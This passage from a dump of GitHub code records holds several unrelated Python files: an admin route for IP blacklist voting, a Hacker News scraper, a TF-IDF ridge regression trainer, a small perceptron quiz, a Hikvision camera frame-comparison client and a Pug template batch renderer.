-1:\n raise HttpError.seeother('/home')\n\n return _get_votelist(is_admin=True)\n\n\n@api\n@get(path_join(_MODULE, 'voteResult/api'))\ndef api_vote_result_list():\n if ctx.request.user.crm.find('4_1_10') == -1:\n raise HttpError.seeother('/home')\n\n return _get_votelist(is_admin=True)\n\n\n@api\n@post(path_join(_MODULE, 'vote/api'))\ndef vote():\n result = int(ctx.request.get('result', None))\n ip_id = int(ctx.request.get('ipId', 0))\n reason = ctx.request.get('reason', '')\n\n if (result != 1 and result != 2) or ip_id <= 0 or (result == 1 and not reason):\n error_code = ERROR_CODE['param_error']\n raise APIError(error_code, ERROR_MESSAGE[error_code], {})\n\n if ctx.request.user.crm.find('4_1_8') == -1:\n error_code = ERROR_CODE['not_allow_error']\n raise APIError(error_code, ERROR_MESSAGE[error_code], {})\n\n admin_list = RMS.find_by('where `crm` like \"%4_1_8%\" and stillwork = 1')\n admins = admin_list[:]\n\n where = 'where ipId = ?'\n res = IPBlacklistVote.find_by(where, ip_id)\n\n pass_num, refuse_num, vote_turnout = 0, 0, 0.0\n\n if result == 1:\n pass_num += 1\n else:\n refuse_num += 1\n\n for x in res:\n if x.voterId == ctx.request.user.uid:\n error_code = ERROR_CODE['not_allow_error']\n raise APIError(error_code, ERROR_MESSAGE[error_code], {})\n\n if x.result == 1:\n pass_num += 1\n\n if x.result == 2:\n refuse_num += 1\n\n for admin in admin_list:\n if admin.uid == x.voterId or admin.uid == ctx.request.user.uid:\n if admin in admins:\n admins.remove(admin)\n\n vote_end = 1 if len(admins) < 1 or len(admin_list) == 1 else 0\n vote_turnout = float(pass_num) / (pass_num + refuse_num)\n IPBlacklist(voteTurnout=vote_turnout, voteEnd=vote_end).update_by('where id = ?', ip_id)\n\n res = IPBlacklistVote(ipId=ip_id, voterId=ctx.request.user.uid, voterName=ctx.request.user.name, result=result, reason=reason, createAt=time.time(), updateAt=time.time()).insert()\n return res\n\n\n@api\n@get(path_join(_MODULE, 'voteDetail/api'))\ndef _vote_detail():\n ip_id = int(ctx.request.get('ipId', 0))\n\n admin_list = RMS.find_by('where `crm` like \"%4_1_8%\" and stillwork = 1')\n admins = admin_list[:]\n\n where = 'where ipId = ?'\n res = IPBlacklistVote.find_by(where, ip_id)\n\n for admin in admin_list:\n for x in res:\n if admin.uid == x.voterId:\n if admin in admins:\n admins.remove(admin)\n\n _format_data(res)\n return dict(voteList=res, overplus=admins)\n\n\n@api\n@post(path_join(_MODULE, 'joinBlacklist/api'))\ndef _join_blacklist():\n ip_id = int(ctx.request.get('ipId', 0))\n object_id = ctx.request.get('objectId', None)\n title = ctx.request.get('title', None)\n shortcut = ctx.request.get('shortcut', None)\n\n if ip_id < 1:\n error_code = ERROR_CODE['param_error']\n raise APIError(error_code, ERROR_MESSAGE[error_code], {})\n\n if ctx.request.user.crm.find('4_1_10') == -1:\n error_code = ERROR_CODE['not_allow_error']\n raise APIError(error_code, ERROR_MESSAGE[error_code], {})\n\n info = IPBlacklist.find_first('where id = ?', ip_id)\n\n if info and info.status == -1:\n raise APIError('8888', \"此作品已从黑名单下线,如需上线请联系管理员!\", {})\n\n if not shortcut:\n if not info or info.status != 0:\n error_code = ERROR_CODE['error_operation']\n raise APIError(error_code, ERROR_MESSAGE[error_code], {})\n\n return IPBlacklist(status=1, operatorId=ctx.request.user.uid, updateAt=time.time()).update_by('where id = ?', ip_id)\n else:\n if info:\n raise APIError('9999', \"此作品已在黑名单候选流程中,无需单独添加!\", {})\n\n if not object_id or not title:\n error_code = ERROR_CODE['param_error']\n raise APIError(error_code, ERROR_MESSAGE[error_code], {})\n\n return IPBlacklist(id=ip_id, status=1, operatorId=ctx.request.user.uid, updateAt=time.time(), createAt=time.time(), isShortcut=1, title=title, objectId=object_id).insert()\n\n\n@api\n@post(path_join(_MODULE, 'blacklistPackage/api'))\ndef _blacklist_package():\n ip_id = int(ctx.request.get('ipId', 0))\n packager_id = ctx.request.get('packagerId', None)\n uptime = int(ctx.request.get('uptime', 0))\n\n if ctx.request.user.crm.find('4_1_10') == -1:\n error_code = ERROR_CODE['not_allow_error']\n raise APIError(error_code, ERROR_MESSAGE[error_code], {})\n\n info = IPBlacklist.find_first('where id = ?', ip_id)\n\n if not info or info.status != 1:\n error_code = ERROR_CODE['error_operation']\n raise APIError(error_code, ERROR_MESSAGE[error_code], {})\n\n res = IPBlacklist(status=2, packagerId=packager_id, updateAt=time.time(), uptime=uptime).update_by('where id = ?', ip_id)\n return res\n","repo_name":"JeniTurtle/python-admin","sub_path":"app/routes/blacklist/ipBlacklist_route.py","file_name":"ipBlacklist_route.py","file_ext":"py","file_size_in_byte":11381,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"}
+{"seq_id":"44538218295","text":"import requests\n\nfrom bs4 import BeautifulSoup\n\nimport smtplib\n\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\n\nfrom datetime import datetime\n\nnow = datetime.now()\n\ncontent = \"\"\n\n\ndef extract_news(url):\n print(\"Exctracting Hacker Stories.....\")\n cnt = ''\n cnt += (' HN Top Storiess: \\n' + ' ' + '-' * 50 + ' ')\n response = requests.get(url)\n content = response.content\n soup = BeautifulSoup(content)\n for i, tag in enumerate(soup.find_all('td', attrs={'class': 'title', 'valign': ''})):\n cnt += ((str(i + 1) + ' :: ' + tag.text + \"\\n\" + ' ') if tag.text != 'More' else '')\n return cnt\n\n\ncnt = extract_news('https://news.ycombinator.com/')\ncontent += cnt\ncontent += ' ------- '\ncontent += ' End of Message'\n","repo_name":"Crucialjun/automatePython","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"40187678605","text":"import argparse\nimport pandas as pd\nimport numpy as np\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.linear_model import Ridge\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.model_selection import StratifiedKFold\nfrom typing import List\nimport joblib\nimport os\n\n\ndef parse_args() -> argparse.Namespace:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--train_path\", type=str, default=\"data/train.csv\")\n parser.add_argument(\"--valid_path\", type=str, default=\"data/valid.csv\")\n parser.add_argument(\"--test_path\", type=str, default=\"data/comments_to_score.csv\")\n parser.add_argument(\"--model_save_dir\", type=str, default=\".\")\n parser.add_argument(\"--pred_save_path\", type=str, default=\"./submission.csv\")\n parser.add_argument(\"--ridge_alpha\", type=float, default=None)\n parser.add_argument(\"--max_alpha\", type=float, default=1.0)\n parser.add_argument(\"--tokenization_scheme\", type=str, default=\"word\")\n parser.add_argument(\"--min_df\", type=int, default=0)\n parser.add_argument(\"--max_df\", type=float, default=0.8),\n parser.add_argument(\"--ngram_min\", type=int, default=1),\n parser.add_argument(\"--ngram_max\", type=int, default=2)\n parser.add_argument(\"--seed\", type=int, default=666)\n parser.add_argument(\"--num_folds\", type=int, default=5)\n return parser.parse_args()\n\n\ndef train(\n train_data: pd.DataFrame,\n valid_data: pd.DataFrame,\n encoder: TfidfVectorizer,\n alpha: float = None,\n max_alpha: float = 1.0,\n):\n best_model = None\n if alpha is None:\n best_alpha = None\n best_score = 0\n for alpha in np.linspace(0.1, max_alpha, max_alpha * 10):\n regressor = Ridge(alpha=alpha)\n model = Pipeline([(\"tfidf\", encoder), (\"ridge\", regressor)])\n model.fit(train_data.text, train_data.target)\n score = validate([model], valid_data)\n if score > best_score:\n best_score = score\n best_alpha = alpha\n best_model = model\n print(f\"alpha: {alpha} | score: {score}\")\n else:\n regressor = Ridge(alpha=alpha)\n best_model = Pipeline([(\"tfidf\", encoder), (\"ridge\", regressor)])\n best_model.fit(train_data.text, train_data.target)\n best_score = validate([best_model], valid_data)\n print(f\"final alpha: {best_alpha} | final score: {best_score}\")\n\n\ndef train_fold(\n fold: int,\n train_data: pd.DataFrame,\n oof_data: pd.DataFrame,\n encoder: TfidfVectorizer,\n alpha: float = None,\n max_alpha: float = 1.0,\n) -> Pipeline:\n min_mse = float(\"inf\")\n best_model = None\n best_alpha = alpha\n if alpha is None: # if no alpha is supplied then tune it\n print(f\"Tuning alpha for fold {fold}...\")\n for alpha in np.linspace(0.1, max_alpha, max_alpha * 10):\n regressor = Ridge(alpha=alpha)\n model = Pipeline([(\"tfidf\", encoder), (\"ridge\", regressor)])\n model.fit(train_data.text, train_data.target)\n predictions = model.predict(oof_data.text)\n mse = mean_squared_error(oof_data.target, predictions)\n print(f\"fold: {fold} | alpha: {alpha} | mse: {mse}\")\n if mse < min_mse:\n min_mse = mse\n best_model = model\n best_alpha = alpha\n else: # use supplied alpha to fit the regressor\n print(f\"Fitting fold {fold} using alpha={best_alpha}...\")\n regressor = Ridge(alpha=best_alpha)\n best_model = Pipeline([(\"tfidf\", encoder), (\"ridge\", regressor)])\n best_model.fit(train_data.text, train_data.target)\n predictions = best_model.predict(oof_data.text)\n min_mse = mean_squared_error(oof_data.target, predictions)\n print(f\"best model | alpha: {best_alpha} | mse: {min_mse}\\n\")\n return best_model, min_mse\n\n\ndef get_encoder(\n tokenization_scheme: str,\n min_df: int,\n max_df: float,\n ngram_min: int,\n ngram_max: int,\n) -> TfidfVectorizer:\n encoder = TfidfVectorizer(\n analyzer=tokenization_scheme,\n min_df=min_df,\n max_df=max_df,\n ngram_range=(ngram_min, ngram_max),\n )\n return encoder\n\n\ndef make_folds(data: pd.DataFrame, num_folds: int, seed: int) -> pd.DataFrame:\n skf = StratifiedKFold(shuffle=True, random_state=seed)\n stratified_targets = pd.cut(data.target, num_folds, labels=False)\n data[\"fold\"] = -1\n for fold, (_, valid_index) in enumerate(skf.split(data.text, stratified_targets)):\n data.loc[valid_index, \"fold\"] = fold\n return data\n\n\ndef validate(models: List[Pipeline], test_data: pd.DataFrame) -> float:\n less_toxic_scores = []\n more_toxic_scores = []\n for model in models:\n less_toxic_scores.append(model.predict(test_data.less_toxic))\n more_toxic_scores.append(model.predict(test_data.more_toxic))\n mean_less_toxic = np.mean(less_toxic_scores, axis=0)\n mean_more_toxic = np.mean(more_toxic_scores, axis=0)\n return sum(mean_less_toxic < mean_more_toxic) / len(test_data)\n\n\ndef predict(models: List[Pipeline], test_data: pd.DataFrame) -> np.ndarray:\n print(\"Generating predictions...\")\n fold_predictions = []\n for model in models:\n predictions = model.predict(test_data.text)\n fold_predictions.append(predictions)\n return np.mean(fold_predictions, axis=0)\n\n\ndef save_model(model: Pipeline, save_dir: str, fold: int = None) -> None:\n if fold:\n save_path = os.path.join(save_dir, f\"tfidf_ridge_fold_{fold}.pkl\")\n else:\n save_path = os.path.join(save_dir, f\"tfidf_ridge.pkl\")\n joblib.dump(model, save_path)\n\n\nif __name__ == \"__main__\":\n args = parse_args()\n data = pd.read_csv(args.train_path)\n valid_data = pd.read_csv(args.valid_path)\n test_data = pd.read_csv(args.test_path)\n models = []\n mse_scores = []\n encoder = get_encoder(\n args.tokenization_scheme,\n args.min_df,\n args.max_df,\n args.ngram_min,\n args.ngram_max,\n )\n if args.num_folds > 1:\n if \"fold\" not in data.columns:\n data = make_folds(data, args.num_folds, args.seed)\n for fold in range(args.num_folds):\n train_data = data[data.fold != fold]\n oof_data = data[data.fold == fold]\n model, mse = train_fold(\n fold,\n train_data,\n oof_data,\n args.tokenization_scheme,\n args.min_df,\n args.max_df,\n args.ngram_min,\n args.ngram_max,\n args.ridge_alpha,\n args.max_alpha,\n )\n mse_scores.append(mse)\n models.append(model)\n save_model(model, args.model_save_dir, fold)\n print(f\"cv mse: {np.mean(mse_scores)}\")\n valid_score = validate(models, valid_data)\n print(f\"valid score (mean of {args.num_folds} folds): {valid_score}\")\n else:\n alpha = args.ridge_alpha\n if alpha is None:\n print(\"Defaulting to alpha=1\")\n alpha = 1\n model = train(data, valid_data, encoder, alpha, args.max_alpha)\n models.append(model)\n save_model(model, args.model_save_dir)\n print(\"Generating test set predictions...\")\n predictions = predict(models, test_data)\n submission = pd.DataFrame(\n {\"comment_id\": test_data.comment_id, \"score\": predictions}\n )\n submission.to_csv(args.pred_save_path, index=False)\n print(f\"Saved predictions to {args.pred_save_path}\")","repo_name":"AMontgomerie/jigsaw-toxic-severity-competition","sub_path":"tfidf_ridge.py","file_name":"tfidf_ridge.py","file_ext":"py","file_size_in_byte":7550,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"}
+{"seq_id":"5658671872","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.datasets import make_moons\n\n\n# ========================================================================\n# dataset\n\nn_tot = 400\nn = int(n_tot/2)\n# two moons, not really linearly separable\nX, y = make_moons(n_tot, noise=0.15, random_state=0)\n\nplt.figure()\ncolors = [\"g\", \"b\"]\nfor ii in range(2):\n class_indices = np.where(y==ii)[0]\n plt.scatter(X[class_indices, 0], X[class_indices, 1], c=colors[ii])\nplt.title(\"full dataset\")\nplt.show()\n\n# divide data into training and testing\nnp.random.seed(42)\norder = np.random.permutation(n_tot)\ntrain = order[:n]\ntest = order[n:]\n\nXtr = X[train, :]\nytr = y[train]\nXtst = X[test, :]\nytst = y[test]\n\n# ========================================================================\n# classifier\n\n# The perceptron algorithm will be encountered later in the course\n# How exactly it works is not relevant yet, it's enough to just know it's a binary classifier\nfrom sklearn.linear_model import Perceptron as binary_classifier\n\n# It can be used like this:\nbc = binary_classifier()\nbc.fit(Xtr, ytr) # this is how to train the classifier on training data\npreds = bc.predict(Xtst) # this is how to obtain predictions on test data\n\n","repo_name":"SpringNuance/Machine-Learning-Supervised-Methods","sub_path":"quiz2.py","file_name":"quiz2.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"25509733962","text":"# coding=utf-8\n\nimport os\nimport platform\nimport tkinter\nfrom tkinter import *\nfrom HCNetSDK import *\nfrom PlayCtrl import *\nfrom time import sleep\nfrom threading import Timer, Thread\n\nfrom client import sendPic, sendPicData\nfrom readConfig import readConfig, readParam\n\nfrom fangfa import comparehash\nfrom fangfa import comparessim\n# 登录的设备信息\n# DEV_IP = create_string_buffer(b'192.168.3.5')\n# DEV_PORT = 8000\nDEV_USER_NAME = create_string_buffer(b'admin')\nDEV_PASSWORD = create_string_buffer(b'vfes0001')\nPICTURE_SERVER_PORT = 9001\n\nObjdll = None\ncv = None\n\nWINDOWS_FLAG = True\nwin = None # 预览窗口\nfuncRealDataCallBack_V30 = None # 实时预览回调函数,需要定义为全局的\n\nPlayCtrl_Port = c_long(-1) # 播放句柄\nPlayctrldll = None # 播放库\nFuncDecCB = None # 播放库解码回调函数,需要定义为全局的\n\npreviousPic = None\nCompareParameter = None\nCompareMethod = None\nCompareDuration = None\n\n# 获取当前系统环境\ndef GetPlatform():\n sysstr = platform.system()\n print('' + sysstr)\n if sysstr != \"Windows\":\n global WINDOWS_FLAG\n WINDOWS_FLAG = False\n\n# 设置SDK初始化依赖库路径\ndef SetSDKInitCfg():\n # 设置HCNetSDKCom组件库和SSL库加载路径\n # print(os.getcwd())\n if WINDOWS_FLAG:\n strPath = os.getcwd().encode('gbk')\n sdk_ComPath = NET_DVR_LOCAL_SDK_PATH()\n sdk_ComPath.sPath = strPath\n Objdll.NET_DVR_SetSDKInitCfg(2, byref(sdk_ComPath))\n Objdll.NET_DVR_SetSDKInitCfg(3, create_string_buffer(strPath + b'\\libcrypto-1_1-x64.dll'))\n Objdll.NET_DVR_SetSDKInitCfg(4, create_string_buffer(strPath + b'\\libssl-1_1-x64.dll'))\n else:\n strPath = os.getcwd().encode('utf-8')\n sdk_ComPath = NET_DVR_LOCAL_SDK_PATH()\n sdk_ComPath.sPath = strPath\n Objdll.NET_DVR_SetSDKInitCfg(2, byref(sdk_ComPath))\n Objdll.NET_DVR_SetSDKInitCfg(3, create_string_buffer(strPath + b'/libcrypto.so.1.1'))\n Objdll.NET_DVR_SetSDKInitCfg(4, create_string_buffer(strPath + b'/libssl.so.1.1'))\n\ndef LoginDev(ip, port, user, password, Objdll):\n # 登录注册设备\n device_info = NET_DVR_DEVICEINFO_V30()\n lUserId = Objdll.NET_DVR_Login_V30(ip, port, user, password, byref(device_info))\n return (lUserId, device_info)\n\ndef capture(Objdll):\n global lRealPlayHandle\n #\n sFileName = './pic.jpg'\n captureSuccess = Objdll.NET_DVR_CaptureJPEGPicture(lRealPlayHandle, 33, c_char_p(sFileName.encode()))\n print('capture success:', captureSuccess)\n print('error code %s'%Objdll.NET_DVR_GetLastError())\n\ndef DecCBFun(nPort, pBuf, nSize, pFrameInfo, nUser, nReserved2):\n global Playctrldll\n # 解码回调函数\n if pFrameInfo.contents.nType == 3:\n # 解码返回视频YUV数据,将YUV数据转成jpg图片保存到本地\n # 如果有耗时处理,需要将解码数据拷贝到回调函数外面的其他线程里面处理,避免阻塞回调导致解码丢帧\n sFileName = ('/home/vfes/hcnet-communication/pic/test_stamp[%d].jpg'% pFrameInfo.contents.nStamp)\n nWidth = pFrameInfo.contents.nWidth\n nHeight = pFrameInfo.contents.nHeight\n nType = pFrameInfo.contents.nType\n dwFrameNum = pFrameInfo.contents.dwFrameNum\n nStamp = pFrameInfo.contents.nStamp\n # print(dwFrameNum, nStamp, nSize)\n # picByte = Objdll.BYTE_ARRAY(1024*1024*5)\n # picByte.write()\n # bByte = picByte.getPointer()\n # print('bByte:%s'%bByte)\n # print('pBuf:%s'%pBuf)\n # f = open(sFileName, 'wb')\n # f.write(pBuf)\n # f.close()\n global previousPic\n global CompareParameter\n global CompareMethod\n global CompareDuration\n global PICTURE_SERVER_PORT\n if dwFrameNum % (25 * CompareDuration) != 0:\n return\n # sendPicData(pBuf)\n lRet = Playctrldll.PlayM4_ConvertToJpegFile(pBuf, nSize, nWidth, nHeight, nType, c_char_p(sFileName.encode()))\n # sendPic(sFileName)\n \n print('paramter:', CompareParameter, CompareMethod, CompareDuration) \n if (previousPic == None):\n previousPic = sFileName\n else:\n # print(previousPic)\n if (CompareMethod == 'ssim'):\n r = comparessim(previousPic, sFileName, CompareParameter)\n else:\n r = comparehash(previousPic, sFileName, CompareParameter)\n # comparessim(previousPic, sFileName, CompareParameter)\n if r:\n sendPic(sFileName, PICTURE_SERVER_PORT)\n previousPic = sFileName\n\n if lRet == 0:\n print('PlayM4_ConvertToJpegFile fail, error code is:', Playctrldll.PlayM4_GetLastError())\n else:\n print('PlayM4_ConvertToJpegFile success')\n\ndef RealDataCallBack_V30(lPlayHandle, dwDataType, pBuffer, dwBufSize, pUser):\n global Playctrldll\n global cv\n # 码流回调函数\n # print('data type %s', dwDataType)\n # print('buffer size:%d %d', dwBufSize, dwDataType)\n if dwDataType == NET_DVR_SYSHEAD:\n # 设置流播放模式\n Playctrldll.PlayM4_SetStreamOpenMode(PlayCtrl_Port, 0)\n print('port:%s'%PlayCtrl_Port)\n # 打开码流,送入40字节系统头数据\n if Playctrldll.PlayM4_OpenStream(PlayCtrl_Port, pBuffer, dwBufSize, 1024*1024):\n # \n picBuffer = [1024*1024]\n size = 5\n #Playctrldll.PlayM4_GetJPEG(PlayCtrl_Port, 1024*1024, picBuffer, 5)\n #print('pic buffer:%s'%picBuffer)\n # 设置解码回调,可以返回解码后YUV视频数据\n global FuncDecCB\n FuncDecCB = DECCBFUNWIN(DecCBFun)\n Playctrldll.PlayM4_SetDecCallBackExMend(PlayCtrl_Port, FuncDecCB, None, 0, None)\n # 开始解码播放\n if Playctrldll.PlayM4_Play(PlayCtrl_Port, cv.winfo_id()):\n print(u'播放库播放成功')\n else:\n print(u'播放库播放失败')\n else:\n print(u'播放库打开流失败')\n elif dwDataType == NET_DVR_STREAMDATA:\n Playctrldll.PlayM4_InputData(PlayCtrl_Port, pBuffer, dwBufSize)\n #print('buffer size: %d'%dwBufSize)\n # objdll.NET_DVR_CaptureJPEGPicture\n pass\n\n # else:\n # print (u'其他数据,长度:', dwBufSize)\n\ndef OpenPreview(Objdll, lUserId, callbackFun):\n '''\n 打开预览\n '''\n global lRealPlayHandle\n preview_info = NET_DVR_PREVIEWINFO()\n preview_info.hPlayWnd = 0\n preview_info.lChannel = 1 # 通道号\n preview_info.dwStreamType = 0 # 主码流\n preview_info.dwLinkMode = 0 # TCP\n preview_info.bBlocked = 1 # 阻塞取流\n\n # 开始预览并且设置回调函数回调获取实时流数据\n lRealPlayHandle = Objdll.NET_DVR_RealPlay_V40(lUserId, byref(preview_info), callbackFun, None)\n # lRealPlayHandle = Objdll.NET_DVR_RealPlay_V40(lUserId, None, callbackFun, None)\n\n return lRealPlayHandle\n\ndef InputData(fileMp4, Playctrldll):\n while True:\n pFileData = fileMp4.read(4096)\n if pFileData is None:\n break\n\n if not Playctrldll.PlayM4_InputData(PlayCtrl_Port, pFileData, len(pFileData)):\n break\n\ndef startVideo(ip, port, username, password, sendPicPort):\n global Playctrldll\n global Objdll\n global PlayCtrl_Port\n global cv\n global CompareParameter\n global CompareMethod\n global CompareDuration\n global PICTURE_SERVER_PORT\n # deviceIp = create_string_buffer(ip)\n # 创建窗口\n win = tkinter.Tk()\n #固定窗口大小\n win.resizable(0, 0)\n win.overrideredirect(True)\n\n sw = win.winfo_screenwidth()\n # 得到���幕宽度\n sh = win.winfo_screenheight()\n # 得到屏幕高度\n\n # 窗口宽高\n ww = 520\n wh = 380\n x = (sw - ww) / 2\n y = (sh - wh) / 2\n win.geometry(\"%dx%d+%d+%d\" % (ww, wh, x, y))\n\n # 创建退出按键\n b = Button(win, text='退出', command=win.quit)\n b.pack()\n # 创建一个Canvas,设置start其背景色为白色\n cv = tkinter.Canvas(win, bg='white', width=ww, height=wh)\n cv.pack()\n\n # 获取系统平台\n GetPlatform()\n\n # 加载库,先加载依赖库\n if WINDOWS_FLAG:\n os.chdir(r'./lib/win')\n Objdll = ctypes.CDLL(r'./HCNetSDK.dll') # 加载网络库\n Playctrldll = ctypes.CDLL(r'./PlayCtrl.dll') # 加载播放库\n else:\n os.chdir(r'./lib/linux')\n Objdll = cdll.LoadLibrary(r'./libhcnetsdk.so')\n Playctrldll = cdll.LoadLibrary(r'./libPlayCtrl.so')\n\n SetSDKInitCfg() # 设置组件库和SSL库加载路径\n\n # paramConfig = readParam()\n \n # CompareMethod = paramConfig['algorithm']\n # CompareParameter = float(paramConfig['param'])\n # CompareDuration = float(paramConfig['duration'])\n PICTURE_SERVER_PORT = sendPicPort\n # CompareMethod = paramConfig['algorithm']\n # CompareParameter = float(paramConfig['param'])\n # CompareDuration = float(paramConfig['duration'])\n # getConfig()\n thread = Thread(target=getConfig)\n thread.start()\n\n \n # 初始化DLL\n Objdll.NET_DVR_Init()\n # 启用SDK写日志\n Objdll.NET_DVR_SetLogToFile(3, bytes('./SdkLog_Python/', encoding=\"utf-8\"), False)\n \n # 获取一个播放句柄\n if not Playctrldll.PlayM4_GetPort(byref(PlayCtrl_Port)):\n print(u'获取播放库句柄失败')\n\n # 登录设备\n (lUserId, device_info) = LoginDev(ip, port, username, password, Objdll)\n if lUserId < 0:\n err = Objdll.NET_DVR_GetLastError()\n print('Login device fail, error code is: %d' % Objdll.NET_DVR_GetLastError())\n # 释放资源\n Objdll.NET_DVR_Cleanup()\n # exit()\n return\n\n setModeSign = Objdll.NET_DVR_SetCapturePictureMode(1)\n print('set mode:', setModeSign)\n\n \n # 定义码流回调函数\n funcRealDataCallBack_V30 = REALDATACALLBACK(RealDataCallBack_V30)\n # 开启预览\n lRealPlayHandle = OpenPreview(Objdll, lUserId, funcRealDataCallBack_V30)\n if lRealPlayHandle < 0:\n print ('Open preview fail, error code is: %d' % Objdll.NET_DVR_GetLastError())\n # 登出设备\n Objdll.NET_DVR_Logout(lUserId)\n # 释放资源\n Objdll.NET_DVR_Cleanup()\n # exit()\n return\n\n capture(Objdll)\n\n #show Windows\n win.mainloop() \n\n # 开始云台控制\n # lRet = Objdll.NET_DVR_PTZControl(lRealPlayHandle, PAN_LEFT, 0)\n # if lRet == 0:\n # print ('Start ptz control fail, error code is: %d' % Objdll.NET_DVR_GetLastError())\n # else:\n # print ('Start ptz control success')\n\n # # 转动一秒\n # sleep(1)\n\n # 停止云台控制\n # lRet = Objdll.NET_DVR_PTZControl(lRealPlayHandle, PAN_LEFT, 1)\n # if lRet == 0:\n # print('Stop ptz control fail, error code is: %d' % Objdll.NET_DVR_GetLastError())\n # else:\n # print('Stop ptz control success')\n\n # 关闭预览\n Objdll.NET_DVR_StopRealPlay(lRealPlayHandle)\n print('close preview ...')\n # 停止解码,释放播放库资源\n if PlayCtrl_Port.value > -1:\n Playctrldll.PlayM4_Stop(PlayCtrl_Port)\n Playctrldll.PlayM4_CloseStream(PlayCtrl_Port)\n Playctrldll.PlayM4_FreePort(PlayCtrl_Port)\n PlayCtrl_Port = c_long(-1)\n\n # 登出设备\n Objdll.NET_DVR_Logout(lUserId)\n\n # 释放资源\n Objdll.NET_DVR_Cleanup()\n\ndef getConfig():\n print('read config.......')\n global CompareParameter\n global CompareMethod\n global CompareDuration\n\n paramConfig = readParam()\n CompareMethod = paramConfig['algorithm']\n CompareParameter = float(paramConfig['param'])\n CompareDuration = float(paramConfig['duration']) \n sleep(10)\n thread = Thread(target=getConfig)\n thread.start()\n # readThread = Timer(6, getConfig)\n # readThread.start()\n\n\n# start()\n# if __name__ == '__main__':\n# i = 0\n# start()\n # while i < 1:\n # print(i)\n # sleep(1)\n # start()\n # i += 1\n\n","repo_name":"fengdachao/hcnet-communication","sub_path":"HcnetCore.py","file_name":"HcnetCore.py","file_ext":"py","file_size_in_byte":11987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"13582373593","text":"\"\"\"\nRenders a single Pug template once for each item in a JSON list.\n\nThe JSON list is retrieved from the first (preferably only) key in the provided JSON object.\n\"\"\"\n\nfrom functools import reduce\nimport json\nimport operator\nimport os\nimport sys\nimport subprocess\nfrom threading import Thread\n\nTMP_FILENAME_BASE = f'{__file__}.tmp'\n\ndef render(obj, idx):\n try:\n get_out_filename = lambda: f\"{template_file_base}_{idx}\" if not output_filename_keys \\\n else reduce(operator.getitem, output_filename_keys, obj)\n TMP_FILENAME = f\"{TMP_FILENAME_BASE}-{idx}\"\n EXT = f'tmp-{idx}'\n\n with open(TMP_FILENAME, 'w', encoding='utf-8') as tmp:\n json.dump(obj, tmp)\n\n dir_render_to = basedir if basedir is not None else output_dir\n dir_move_to = output_dir\n cmd = ['pug', template_file, '-o', dir_render_to, '-O', TMP_FILENAME, '-E', EXT]\n initial_name = f'{dir_render_to}/{template_file_base}.{EXT}'\n final_name = f'{dir_move_to}/{get_out_filename()}.html'\n print(f'Rendering {initial_name} from template {template_file}')\n proc = subprocess.run(cmd, capture_output=True, check=True, shell=True)\n print(f'Rendered {initial_name}')\n os.replace(initial_name, final_name)\n print(f'Renamed {initial_name} to {final_name}')\n except subprocess.CalledProcessError as e:\n print(f'Error running command: {e.cmd}')\n print(e.stderr.decode())\n\n # Clean up this thread's temp file\n if os.path.exists(TMP_FILENAME):\n os.remove(TMP_FILENAME)\n\nif len(sys.argv) < 2:\n print(f\"\"\"\nUsage:\n python {__file__} template json_file [output_dir] [output_filename_keys] [basedir] [count]\n\n template - File path to Pug template file\n json_file - File path to JSON options data file\n output_dir - (Optional) Directory to which to render output files. Default: 'rendered'.\n output_filename_keys - (Optional) Property of each object in JSON to use to determine each file's rendered filename.\n For nested properties, separate each with periods. (e.g. 'this.that.other')\n If omitted, simply appends an index to each rendered filename.\n basedir - (Optional) Passed directly to Pug invocation. Path used as root directory to resolve absolute includes.\n Templates are rendered to this location first before being moved to output_dir.\n count - (Optional) Maximum number of items to render. If ommitted or <= 0, all items are processed.\n\"\"\")\n exit(1)\n\ntemplate_file = sys.argv[1]\ntemplate_file_base = os.path.splitext(os.path.basename(template_file))[0]\njson_file = sys.argv[2]\noutput_dir = sys.argv[3] if len(sys.argv) > 3 else 'rendered'\noutput_filename_keys = sys.argv[4].split('.') if len(sys.argv) > 4 else None\nbasedir = sys.argv[5] if len(sys.argv) > 5 else None\ncount = int(sys.argv[6]) if len(sys.argv) > 6 else 0\n\n# Load JSON\ndata = None\ntry:\n with open(json_file, encoding='utf-8') as f:\n data = json.load(f)\n data = data[list(data.keys())[0]]\nexcept Exception as e:\n print('Error loading JSON:')\n print(e)\n exit(1)\n\n# Ensure target directory exists\n# If not, create it\nif not os.path.exists(output_dir):\n try:\n os.mkdir(output_dir)\n except Exception as e:\n print('Error creating output directory:')\n print(e)\n exit(1)\n\n# For each item in JSON, render template\nrendered = 0\nthreads = []\nfor obj in data:\n threads.append(Thread(target=render, args=(obj, rendered)))\n threads[-1].start()\n rendered += 1\n if rendered >= count and count > 0:\n break\nfor t in threads:\n t.join()\n","repo_name":"IsaacAbrahamson/Yearbook-2021","sub_path":"render_list.py","file_name":"render_list.py","file_ext":"py","file_size_in_byte":3760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
